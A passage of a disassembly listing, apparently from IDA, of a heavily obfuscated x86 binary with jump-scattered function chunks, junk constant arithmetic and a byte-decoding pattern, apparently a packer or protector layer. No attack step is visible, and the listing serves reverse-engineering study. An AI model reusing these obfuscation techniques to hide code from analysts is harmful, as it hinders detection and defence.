COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4497AF loc_440173: ; CODE XREF: sub_4497AF+9j jmp nullsub_9 ; END OF FUNCTION CHUNK FOR sub_4497AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44374A loc_440178: ; CODE XREF: sub_44374A+Cj jmp loc_440908 ; END OF FUNCTION CHUNK FOR sub_44374A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_44017D: ; CODE XREF: sub_437B01+4277j test ebp, 0ABFF2FC7h jmp loc_43D691 ; END OF FUNCTION CHUNK FOR sub_437B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_440188: ; CODE XREF: sub_441030:loc_43E8F0j jz loc_43CE13 loc_44018E: ; CODE XREF: sub_44BAC8-27A0j jmp nullsub_81 ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- push 65CC06D0h xchg ebp, edi and edx, 118E7A64h jmp loc_43CE13 ; --------------------------------------------------------------------------- loc_4401A5: ; CODE XREF: y22d6.y.:0044D081j jo loc_43F667 not eax loc_4401AD: ; CODE XREF: y22d6.y.:loc_443ED1j mov eax, [esp] push esi push 82BC6CABh pop esi add esi, 25D28697h jmp loc_44CF1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44540D loc_4401C2: ; CODE XREF: sub_44540D+8A33j lea eax, [ebp-14h] xor edx, edx call sub_44D088 call sub_43F501 call nullsub_5 ; END OF FUNCTION CHUNK FOR sub_44540D ; START OF FUNCTION CHUNK FOR sub_443EF1 loc_4401D6: ; CODE XREF: sub_443EF1+Cj ; sub_44540D:loc_44DE1Fj mov eax, ds:dword_442A78 mov [ebp-4], eax jmp loc_44717A ; END OF FUNCTION CHUNK FOR sub_443EF1 ; =============== S U B R O U T I N E ======================================= sub_4401E3 proc near ; DATA XREF: y22d6.y.:00446F7Ao call sub_44D293 retn sub_4401E3 endp ; --------------------------------------------------------------------------- db 0F3h, 0DCh, 0Fh dword_4401EC dd 0 ; DATA XREF: y22d6.y.:loc_445EB8r ; y22d6.y.:00446F73w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_4401F0: ; CODE XREF: sub_43C7C1+72F2j jmp loc_43E26D ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_4401F5: ; CODE XREF: sub_44B489-124E8j jmp loc_43E343 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- dw 2AD1h dword_4401FC dd 8B52284Dh, 0B1B123h, 4A01880Fh, 158B0000h, 4483B0h ; DATA XREF: sub_43A4E4+5o ; sub_4383E0+410Fo dd 850FD209h, 85DEh, 72BEE9h db 0 ; --------------------------------------------------------------------------- loc_44021D: ; CODE XREF: y22d6.y.:loc_440E99j jz loc_448C0F jmp loc_441944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440228: ; CODE XREF: sub_448EB6:loc_449049j push edx call sub_44A413 mov eax, 83ED7AACh call sub_43CA1A push offset sub_441EC4 jmp nullsub_339 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_440242: ; CODE XREF: sub_43C242+437Ej xor edx, 0D9CD8588h not esi loc_44024A: ; CODE XREF: sub_4432B8:loc_445E64j sbb eax, edi loc_44024C: ; CODE XREF: sub_44D22A:loc_439C88j ; sub_4432B8:loc_443556j ... jmp loc_44130B ; --------------------------------------------------------------------------- loc_440251: ; CODE XREF: sub_43C242+6DDAj ; sub_44D22A+9j pop ecx jmp loc_4463C7 ; END OF FUNCTION CHUNK FOR sub_43C242 ; --------------------------------------------------------------------------- loc_440257: ; CODE XREF: y22d6.y.:0043E43Bj pop eax add eax, 0AFB05A20h xor eax, 0D3140D79h or eax, 3068BEABh jmp loc_4431B7 ; --------------------------------------------------------------------------- shl ebp, 18h jmp sub_43C242 ; --------------------------------------------------------------------------- xchg ecx, [eax] loc_440279: ; CODE XREF: y22d6.y.:loc_447BE4j jmp loc_43B3CB ; --------------------------------------------------------------------------- loc_44027E: ; CODE XREF: y22d6.y.:0044A709j or edx, esi ; =============== S U B R O U T I N E ======================================= sub_440280 proc near ; CODE XREF: sub_43AD3D+2A40p ; FUNCTION CHUNK AT 00437573 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00438040 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00438AEA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00438E25 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00438E57 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00438EF6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043912E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A8A9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043DF14 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E911 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043ED9E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043FAD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FBCC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043FC52 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043FFB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441C14 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00441DFB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044206B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044210A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00442450 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443DC5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00446110 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00447757 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044785C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004479A0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00447A35 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00447F74 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044819E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448374 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00448888 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004488EC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004489EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004493F8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044A316 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A4C8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A88F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044B235 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B275 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BA63 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044C368 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044CFB3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044D2FA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044D562 SIZE 00000012 BYTES xchg edi, [esp+0] pop edi mov al, [eax] jnz loc_443DC5 sub al, 99h mov edx, [ebp-4] jmp loc_44A88F sub_440280 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_440296: ; CODE XREF: y22d6.y.:0043CACCj push ecx push 87A17607h pop ecx and ecx, 37AAAC81h xor ecx, 0FEBD7D0Dh or ecx, 1831FB42h jmp loc_44BB55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_4402B4: ; CODE XREF: sub_4480DE-FE27j jnz loc_44C443 call sub_4496A3 loc_4402BF: ; CODE XREF: sub_43AC5C+13392j jmp loc_43F869 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_4402C4: ; CODE XREF: sub_44B3C9-C355j jmp sub_44B3C9 ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_306. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_4402CA: ; CODE XREF: sub_439051:loc_440FD0j push offset sub_43AF5B jmp loc_446400 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- loc_4402D4: ; CODE XREF: y22d6.y.:loc_448882j ; y22d6.y.:004488A2j and eax, 0A1C6E58Eh jnz loc_44D992 loc_4402E0: ; CODE XREF: y22d6.y.:0043D241j jmp loc_43FCCE ; --------------------------------------------------------------------------- push 0EFC66ADEh sbb edi, 0E189CCE5h jmp loc_43B553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_4402F5: ; CODE XREF: sub_43C6D7:loc_4447DEj cdq add ebp, ebx mov ebx, 21473166h jb loc_44270C jmp loc_43D1E3 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439C96 loc_440308: ; CODE XREF: sub_439C96:loc_43956Aj ; sub_439C96+D6EDj mov eax, [esp+0] call sub_4396B2 loc_440310: ; CODE XREF: sub_439C96+6j ; y22d6.y.:0043F07Bj call sub_44364E loc_440315: ; CODE XREF: sub_4424AC-A030j jmp loc_43F938 ; END OF FUNCTION CHUNK FOR sub_439C96 ; --------------------------------------------------------------------------- jmp ds:off_41E14C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443778 loc_440320: ; CODE XREF: sub_441A2B-9BF7j ; sub_4407AE+18j ... jnz loc_4407CB push offset loc_44381B jmp loc_4459C3 ; END OF FUNCTION CHUNK FOR sub_443778 ; =============== S U B R O U T I N E ======================================= sub_440330 proc near ; CODE XREF: y22d6.y.:004377BAj ; sub_44B267+4p ; FUNCTION CHUNK AT 004377A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A2BB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C2DE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043DF0B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00446051 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0044C30D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044CD85 SIZE 00000013 BYTES xchg esi, [esp+0] pop esi mov [ebp-4], eax mov eax, [ebp-4] jmp loc_446051 sub_440330 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_44033F: ; CODE XREF: y22d6.y.:00446E8Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4456C2 loc_440340: ; CODE XREF: sub_4456C2+8j rol eax, 0Ah push eax retn ; END OF FUNCTION CHUNK FOR sub_4456C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444822 loc_440345: ; CODE XREF: sub_444822+13j jmp loc_44758A ; END OF FUNCTION CHUNK FOR sub_444822 ; --------------------------------------------------------------------------- loc_44034A: ; CODE XREF: y22d6.y.:00442D32j jmp loc_43C5B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44034F: ; CODE XREF: sub_44B489-E334j jmp loc_44454F ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- dword_440354 dd 39C01BBFh ; DATA XREF: sub_43B0EE+367Br ; sub_43B09B:loc_44D28Cw ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C41 loc_440359: ; CODE XREF: sub_442C41:loc_438F79j ; sub_442C41+8C38j ... mov eax, [ebp-8] pop ecx pop ecx pop ebp jmp nullsub_181 ; END OF FUNCTION CHUNK FOR sub_442C41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440364: ; CODE XREF: sub_448EB6:loc_44CF1Bj xor esi, 32AAA2CFh add esi, 7F082CE9h sub esi, 0B020AF9Ch add esi, 9738E774h xchg esi, [esp+8+var_8] jmp sub_4396B2 ; --------------------------------------------------------------------------- loc_440384: ; CODE XREF: sub_448EB6:loc_43BE85j jnz loc_43ABDD mov edi, 0A5B1DAD6h cdq jmp loc_43ABDD ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_440395 proc near ; DATA XREF: y22d6.y.:loc_44A432o arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043A232 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043C7E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442C7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445740 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044628D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00447505 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0044890C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448CEF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AEC1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C481 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CCCA SIZE 00000010 BYTES call nullsub_206 call sub_447CBE mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jmp loc_44C481 sub_440395 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_4403B2: ; CODE XREF: sub_441F08:loc_43AE81j mov eax, ecx xchg eax, [esp-8+arg_4] mov ecx, edx xchg ecx, [esp-8+arg_4] push eax push 30E0B622h xchg edi, [esp+0] mov eax, edi jmp loc_437E0D ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- loc_4403CC: ; CODE XREF: y22d6.y.:0043A84Aj push eax mov edx, eax call sub_44D088 push offset loc_447A64 jmp loc_44D200 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_336. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_4403DF: ; CODE XREF: y22d6.y.:loc_44E325j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449307 loc_4403E0: ; CODE XREF: sub_449307+Cj jmp sub_44DE8D ; END OF FUNCTION CHUNK FOR sub_449307 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_4403E5: ; CODE XREF: sub_44B489-1028j add ecx, 0C48B5D8Ch xchg ecx, [esp-4+arg_0] jmp sub_44D293 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- adc edx, 0E5EB289Ah jmp loc_44A970 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_4403FF: ; CODE XREF: sub_44123E+798Aj jmp loc_43929F ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_440404: ; CODE XREF: y22d6.y.:0044ACC2j ; sub_44B489+1A04j jge loc_44A47C ; END OF FUNCTION CHUNK FOR sub_44B489 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44040A: ; CODE XREF: sub_448EB6+10Ej jmp loc_43E1EC ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EF1 loc_44040F: ; CODE XREF: sub_443EF1+1Aj jmp loc_43BB94 ; END OF FUNCTION CHUNK FOR sub_443EF1 ; --------------------------------------------------------------------------- shl esi, 13h ja loc_439C56 ror edi, 0Fh cmp eax, esi jmp loc_447363 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_440428: ; CODE XREF: y22d6.y.:loc_449458j ; y22d6.y.:0044BEDFj jmp loc_44A928 ; --------------------------------------------------------------------------- loc_44042D: ; CODE XREF: y22d6.y.:0043ED8Bj jmp loc_444F06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_440432: ; CODE XREF: sub_43EC1C+A1D2j jnz loc_43EF08 jmp loc_4384AA ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- add ecx, 0D6B9BDAAh jmp sub_439B2C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push eax jmp sub_44850D ; --------------------------------------------------------------------------- loc_44044F: ; DATA XREF: y22d6.y.:00447E1Do push ecx push 3D447CE0h pop ecx add ecx, 67A8F6B8h and ecx, 0BEF94913h sub ecx, 0FF13F712h test ecx, 100000h jmp loc_439128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_440473: ; CODE XREF: sub_4475B3:loc_44D834j pop ebx mov eax, [esp-8+arg_4] push edx call sub_44A46F jmp loc_44AEFF ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439096 loc_440482: ; CODE XREF: sub_439096+5412j jl loc_442B9B ; END OF FUNCTION CHUNK FOR sub_439096 ; START OF FUNCTION CHUNK FOR sub_44ABAA loc_440488: ; CODE XREF: sub_44ABAA+1j jmp loc_4400AF ; END OF FUNCTION CHUNK FOR sub_44ABAA ; --------------------------------------------------------------------------- test ecx, ebp jmp loc_442B94 ; =============== S U B R O U T I N E ======================================= sub_440494 proc near ; CODE XREF: y22d6.y.:0043F97Bj ; sub_44B06F:loc_44DFF3p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004377FA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00438EC0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004397D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A25C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043D996 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DAD9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E020 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00442ED3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444193 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445A3B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00448E8F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004494E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C69F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044CF6A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044DC7D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044E42F SIZE 00000012 BYTES xchg ebx, [esp+4+var_4] pop ebx mov eax, [ebp-4] mov al, [eax] js loc_4377FA sub al, 99h mov edx, [ebp-4] jmp loc_448E8F sub_440494 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_4404AD: ; CODE XREF: sub_44271A+47CCj jg loc_449E4F add esi, ebp loc_4404B5: ; CODE XREF: sub_43CBD3:loc_44E5D6j push esi push 6AED1C8Eh pop esi xor esi, 8A5F8931h jmp loc_44A54B ; END OF FUNCTION CHUNK FOR sub_44271A ; =============== S U B R O U T I N E ======================================= sub_4404C7 proc near ; CODE XREF: y22d6.y.:0044475Ej ; sub_4485B6+7p xchg esi, [esp+0] sub_4404C7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4404CA: ; CODE XREF: sub_4432B8-113Cj pop esi cmp eax, 7C61090Eh retn ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_4404D1 proc near ; CODE XREF: sub_4470B1+13p ; sub_43A041:loc_44A931p ; FUNCTION CHUNK AT 00443205 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004439FB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00448029 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044CFCA SIZE 00000005 BYTES xor bx, bx add ebx, 10000h loc_4404DA: ; CODE XREF: sub_4404D1+3538j ; sub_4404D1+7B5Cj jb loc_443205 jmp loc_4439FB sub_4404D1 endp ; =============== S U B R O U T I N E ======================================= sub_4404E5 proc near ; CODE XREF: y22d6.y.:004449EBj ; sub_43E86C+CE92p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004384C3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043D9A1 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0044810C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004486CB SIZE 00000005 BYTES xchg edx, [esp-4+arg_0] pop edx pop edi mov esi, [eax] loc_4404EC: ; CODE XREF: y22d6.y.:0043E1D5j add eax, 4 mov ebp, [eax] jmp loc_4486CB sub_4404E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FC1E loc_4404F6: ; CODE XREF: sub_43FC1E+12j jz loc_437B31 jmp loc_43858F ; END OF FUNCTION CHUNK FOR sub_43FC1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440501: ; CODE XREF: sub_448EB6+D01j js loc_44D0F8 jl loc_4476C3 loc_44050D: ; CODE XREF: sub_448EB6:loc_43CD96j or edx, 180A19BDh push offset loc_43FB54 jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_44051D proc near ; DATA XREF: sub_448EB6-EF6o ; FUNCTION CHUNK AT 00438EB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441A0E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044A2D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CCEF SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0044D272 SIZE 0000001A BYTES jnz loc_44D272 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp pop ebp retn sub_44051D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44052E: ; CODE XREF: y22d6.y.:0044A1C9j jmp loc_447CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_440533: ; CODE XREF: sub_4432B8+2EBj ; sub_44A5E5+6j js loc_449E15 mov eax, [esp+4+var_4] push edx push edi jmp loc_43E8C5 ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; =============== S U B R O U T I N E ======================================= sub_440543 proc near ; DATA XREF: y22d6.y.:00442F06o ; FUNCTION CHUNK AT 0043DE9A SIZE 0000001A BYTES mov eax, [esp+0] push edx call sub_44ABC9 mov eax, 934299CDh push eax jmp loc_43DE9A sub_440543 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_440558: ; CODE XREF: y22d6.y.:0044BD66j jnb loc_444CD3 ; =============== S U B R O U T I N E ======================================= sub_44055E proc near ; CODE XREF: y22d6.y.:0044A9EDp xchg ecx, [esp+0] sub_44055E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440561: ; CODE XREF: sub_448EB6+4Bj pop ecx push ebx mov ebx, edx xchg ebx, [esp-4+arg_0] jmp loc_444F6A ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C921 loc_44056E: ; CODE XREF: sub_44C921-2723j jmp loc_440086 ; END OF FUNCTION CHUNK FOR sub_44C921 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443169 loc_440573: ; CODE XREF: sub_443169+16j ; y22d6.y.:loc_4460E9j jmp loc_445F5F ; END OF FUNCTION CHUNK FOR sub_443169 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440578: ; CODE XREF: sub_448EB6+228j jz loc_438C43 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_44057E proc near ; CODE XREF: sub_444131-4D41p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004385A2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438BAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A71C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A7BC SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0043AD7E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043B060 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043B6CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C4A2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043D670 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0043D7BF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043DCEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E95E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043EB7C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EE3B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043F3D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F713 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044005E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00441599 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00441802 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442643 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442C87 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443100 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044310F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444036 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0044466F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00444EDE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445055 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00445746 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00445D13 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004472AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447C85 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447CAF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00448721 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00448767 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00448D31 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449A3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B584 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044BF07 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044C5BF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044D252 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044DAE2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044DC55 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044DD22 SIZE 0000000C BYTES xchg ecx, [esp+0] loc_440581: ; CODE XREF: y22d6.y.:00441BF3j pop ecx pop esi mov [edi], eax pop edi jmp loc_445D13 sub_44057E endp ; sp-analysis failed ; --------------------------------------------------------------------------- test ebp, 223D9977h jmp loc_44AF83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44529A loc_440596: ; CODE XREF: sub_44529A:loc_43F13Dj ; y22d6.y.:0043F14Dj xor ecx, 62A136DDh js loc_449F03 loc_4405A2: ; CODE XREF: y22d6.y.:0043A689j jmp loc_4435E7 ; END OF FUNCTION CHUNK FOR sub_44529A ; --------------------------------------------------------------------------- sbb edx, 0B361EADEh xchg ebp, ebx ror ebx, 1Eh jmp loc_43821A ; --------------------------------------------------------------------------- or edi, ecx jmp sub_445B15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_4405BE: ; CODE XREF: sub_43C242+12189j popf cdq jmp loc_440242 ; END OF FUNCTION CHUNK FOR sub_43C242 ; --------------------------------------------------------------------------- loc_4405C5: ; CODE XREF: y22d6.y.:0044C7ECj mov esi, eax xchg esi, [esp] push offset loc_449171 jmp loc_442EDE ; --------------------------------------------------------------------------- loc_4405D4: ; CODE XREF: y22d6.y.:loc_439BE2j jz loc_43D8F4 jmp loc_44072D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C1B loc_4405DF: ; CODE XREF: sub_449C1B:loc_440BB0j jz loc_449515 jmp loc_443DE6 ; END OF FUNCTION CHUNK FOR sub_449C1B ; --------------------------------------------------------------------------- push esi ; START OF FUNCTION CHUNK FOR sub_447D7F loc_4405EB: ; CODE XREF: sub_447D7F:loc_443C2Fj push 0F9357B69h pop esi xor esi, 0CA9FD05Eh or esi, 1384C988h jmp loc_4457F6 ; END OF FUNCTION CHUNK FOR sub_447D7F ; 